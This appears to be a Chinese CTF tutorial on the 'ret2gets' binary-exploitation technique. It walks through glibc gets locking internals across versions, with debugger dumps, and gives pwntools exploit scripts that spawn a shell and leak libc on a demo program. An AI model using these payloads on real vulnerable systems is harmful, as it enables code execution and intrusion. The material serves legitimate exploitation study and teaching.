https://blog.csdn.net/2502_91269216/article/details/148261096
https://zhuanlan.zhihu.com/p/1923686723877073710
介绍
ret2gets是一种通过连续调用gets来控制rdi的手法,当程序存在gets造成的栈溢出时可以使用,尤其在缺少pop rdi的时候
这里一个小demo讲解
1
2
3
4
5
6
7
8
9
10
11
12
|
#include<stdio.h>
void win()
{
system('666');
}
int main()
{
char buf[0x20];
puts("ret2gets");
gets(buf);
return 0;
}
|
我们执行gets之前
1
2
3
4
5
|
► 0x40117d <main+39> call gets@plt <gets@plt>
rdi: 0x7fff71460a20 —▸ 0x7fff71460dc9 ◂— 0x34365f363878 /* 'x86_64' */
rsi: 0x1
rdx: 0x1
rcx: 0x74453af14907 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
|
rdi是一个栈地址,也是gets的参数
单步执行后查看即将退出gets时的寄存器情况
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
RAX 0x7ffdcee7bd40 ◂— 0x7ffd00313131 /* '111' */
*RBX 0x0
RCX 0x704680c1aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
*RDX 0x1
*RDI 0x704680c1ca80 (_IO_stdfile_0_lock) ◂— 0x0#这里
*RSI 0x1
R8 0x0
R9 0x0
R10 0x77
R11 0x246
*R12 0x7ffdcee7be78 —▸ 0x7ffdcee7c0f9 ◂— 0x53006f6d65642f2e /* './demo' */
*R13 0x401156 (main) ◂— endbr64
R14 0x4030f8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
R15 0x704680e30040 (_rtld_global) —▸ 0x704680e312e0 ◂— 0x0
*RBP 0x7ffdcee7bd60 ◂— 0x1
*RSP 0x7ffdcee7bd40 ◂— 0x7ffd00313131 /* '111' */
*RIP 0x401182 (main+44) ◂— mov eax, 0
|
发现rdi的值变为_IO_stdfile_0_lock
关于_IO_stdfile_0_lock,其实就是一个用来保证线程安全的锁,防止多线程下多个线程同时访问同一FILE
gets函数执行之后rdi所指向的其实就是FILE结构体的的_IO_lock_t *_lock;也就是锁
1
2
3
4
5
|
typedef struct {
int lock;
int cnt;
void *owner;
} _IO_lock_t;
|
该结构题里的owner储存的是TLS的地址(每个持有锁的线程的私有空间的起始地址),该地址与libc偏移固定。
由于rdi指向这个_IO_stdfile_0_lock,所以ret2gets的基本思想就是在调用gets之后再次调用gets,修改_IO_stdfile_0_lock的内容从而控制rdi
源码分析
glibc2.35 gets源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
char *
_IO_gets (char *buf)
{
size_t count;
int ch;
char *retval;
_IO_acquire_lock (stdin); // 对标准输入流stdin加锁,防止多线程环境下多个线程同时操作输入流导致数据竞争
ch = _IO_getc_unlocked (stdin); // 通过_IO_getc_unlocked无锁方式读取第一个字符
// 若首字符是EOF(文件结束符或输入错误),直接返回NULL
// 若首字符是换行符\n,则count=0,表示空字符串
if (ch == EOF)
{
retval = NULL;
goto unlock_return;
}
if (ch == '\n')
count = 0;
else
{
/* This is very tricky since a file descriptor may be in the
non-blocking mode. The error flag doesn't mean much in this
case. We return an error only when there is a new error. */
int old_error = stdin->_flags & _IO_ERR_SEEN;
stdin->_flags &= ~_IO_ERR_SEEN;
buf[0] = (char) ch;
count = _IO_getline (stdin, buf + 1, INT_MAX, '\n', 0) + 1;
if (stdin->_flags & _IO_ERR_SEEN)
{
retval = NULL;
goto unlock_return;
}
else
stdin->_flags |= old_error;
}
buf[count] = 0;
retval = buf;
unlock_return:
_IO_release_lock (stdin);
return retval;
}
|
开头结尾分别调用了_IO_acquire_lock/_IO_release_lock来获取/释放 对stdin的锁
1
2
3
4
5
6
7
8
9
10
|
# define _IO_acquire_lock(_fp) \
do { \
FILE *_IO_acquire_lock_file \
__attribute__((cleanup (_IO_acquire_lock_fct))) \
= (_fp); \
_IO_flockfile (_IO_acquire_lock_file);
# else
# ...
# endif
# define _IO_release_lock(_fp) ; } while (0)
|
_IO_acquire_lock中调用了_IO_acquire_lock_fct和_IO_flockfile,
1
2
|
__attribute__((cleanup (_IO_acquire_lock_fct))) \
= (_fp);
|
这句话的意思就是在fp上调用_IO_acquire_lock_fct
1
2
3
4
5
6
7
8
|
staticinline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (FILE **p)
{
FILE *fp = *p;
if ((fp->_flags & _IO_USER_LOCK) == 0)
_IO_funlockfile (fp);
}
|
用于锁定和解锁的 2 个宏是_IO_flockfile和_IO_funlockfile。
1
2
3
4
|
# define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
# define _IO_funlockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)->_lock)
|
_IO_lock_lock和_IO_lock_unlock源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
#define _IO_lock_lock(_name) \
do { \
void *__self = THREAD_SELF; \
if ((_name).owner != __self) \
{ \
lll_lock ((_name).lock, LLL_PRIVATE); \
(_name).owner = __self; \
} \
++(_name).cnt; \
} while (0)
#define _IO_lock_unlock(_name) \
do { \
if (--(_name).cnt == 0) \
{ \
(_name).owner = NULL; \
lll_unlock ((_name).lock, LLL_PRIVATE); \
} \
} while (0)
|
这里_name就是_IO_lock_t *lock,在gets下就是IO_stdfile_0_lock
1注意到_IO_lock_unlock里有一个–(_name).cnt == 0,如果条件成立就将owner设为NULL,我们通常会利用owner泄露libc地址,所以这不是我们想看到的
2如果利用puts泄露地址,owner之前不能出现\x00
3 同1,由于–cnt,所以我们输入的第五字节(cnt)会被-1
利用方法
2.30-2.36
如果我们想利用puts泄露地址那么用以下payload
1
2
3
|
p.sendline(b"A" * 4 + b"\x00"*3)
# 这里填充 \x00\x00\x00 开头本来就是\x00
#cnt设为0,--cnt整数溢出变为\xff...
|
2.37及以上
对_IO_lock_unlock做了修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
#define _IO_lock_lock(_name) \
do { \
void *__self = THREAD_SELF; \
if (SINGLE_THREAD_P && (_name).owner == NULL) \
{ \
(_name).lock = LLL_LOCK_INITIALIZER_LOCKED; \
(_name).owner = __self; \
} \
else if ((_name).owner != __self) \
{ \
lll_lock ((_name).lock, LLL_PRIVATE); \
(_name).owner = __self; \
} \
else \
++(_name).cnt; \
} while (0)
#define _IO_lock_unlock(_name) \
do { \
if (SINGLE_THREAD_P && (_name).cnt == 0) \
{ \
(_name).owner = NULL; \
(_name).lock = 0; \
} \
else if ((_name).cnt == 0) \
{ \
(_name).owner = NULL; \
lll_unlock ((_name).lock, LLL_PRIVATE); \
} \
else \
--(_name).cnt; \
} while (0)
|
cnt!=0时才会–cnt
这时我们通过连续两次调用gets解决
1
2
|
p.sendline(p32(0) + b"A"*4 + b"B"*8)
p.sendline(b"CCCC")
|
第一次sendline结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
pwndbg> x/32gx 0x7c48ce01ca80
0x7c48ce01ca80 <_IO_stdfile_0_lock>: 0x4141414000000000 0x4242424242424242
0x7c48ce01ca90 <__libc_multiple_threads>: 0x0000000000000000 0x0000000000000000
0x7c48ce01caa0 <__attr_list_lock>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cab0 <init_sigcancel>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cac0 <__nptl_threads_events>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cad0: 0x0000000000000000 0x0000000000000000
0x7c48ce01cae0 <__pthread_keys>: 0x0000000000000000 0x0000000000000000
0x7c48ce01caf0 <__pthread_keys+16>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb00 <__pthread_keys+32>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb10 <__pthread_keys+48>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb20 <__pthread_keys+64>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb30 <__pthread_keys+80>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb40 <__pthread_keys+96>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb50 <__pthread_keys+112>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb60 <__pthread_keys+128>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb70 <__pthread_keys+144>: 0x0000000000000000 0x0000000000000000
|
第一个A变为了0x40
然后第二次sendline我们发4个CCCC,由于gets会对输入数据末尾补0使其是一个字符串,导致0x40又被覆盖为\x00
最后–cnt后结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
pwndbg> x/32gx 0x7c48ce01ca80
0x7c48ce01ca80 <_IO_stdfile_0_lock>: 0x414140ff43434343 0x00007c48ce07f740
0x7c48ce01ca90 <__libc_multiple_threads>: 0x0000000000000000 0x0000000000000000
0x7c48ce01caa0 <__attr_list_lock>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cab0 <init_sigcancel>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cac0 <__nptl_threads_events>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cad0: 0x0000000000000000 0x0000000000000000
0x7c48ce01cae0 <__pthread_keys>: 0x0000000000000000 0x0000000000000000
0x7c48ce01caf0 <__pthread_keys+16>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb00 <__pthread_keys+32>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb10 <__pthread_keys+48>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb20 <__pthread_keys+64>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb30 <__pthread_keys+80>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb40 <__pthread_keys+96>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb50 <__pthread_keys+112>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb60 <__pthread_keys+128>: 0x0000000000000000 0x0000000000000000
0x7c48ce01cb70 <__pthread_keys+144>: 0x0000000000000000 0x0000000000000000
|
也绕过了检查
如果我们想控制rdi为binsh的话,由于–cnt的机制
我们payload可以如下设置
b’/bin’+p8(u8(b"/")+1)+b’sh'
最后一个要注意的地方,如果在程序结束时rdi!=_IO_stdfile_o_lock的话,我们只需先自己调用一次gets即可
对于最初的demo
直接拿shell exp如下
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
p=process('./pwn')
context.log_level='debug'
context.arch='amd64'
# p = gdb.debug('./demo', gdbscript='b *0x40117D\ncontinue')
elf=ELF('./pwn')
# gdb.attach(p,'b *0x40117D\nc')
p.recvuntil(b'ret2gets\n')
pay=b'a'*0x20+p64(0)+p64(elf.plt['gets'])+p64(elf.plt['system'])
p.sendline(pay)
p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh')
p.interactive()
|
泄露libc的话,exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
p=process('./pwn')
context.log_level='debug'
context.arch='amd64'
# p = gdb.debug('./demo', gdbscript='b *0x40117D\ncontinue')
elf=ELF('./pwn')
# gdb.attach(p,'b *0x40117D\nc')
p.recvuntil(b'ret2gets\n')
pay=b'a'*0x20+p64(0)+p64(elf.plt['gets'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
p.sendline(pay)
p.sendline(b'AAAA'+b'\x00\x00\x00')
p.recvuntil(b'\xff'*4)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))
#没减偏移
print(hex(libcbase))
p.interactive()
|
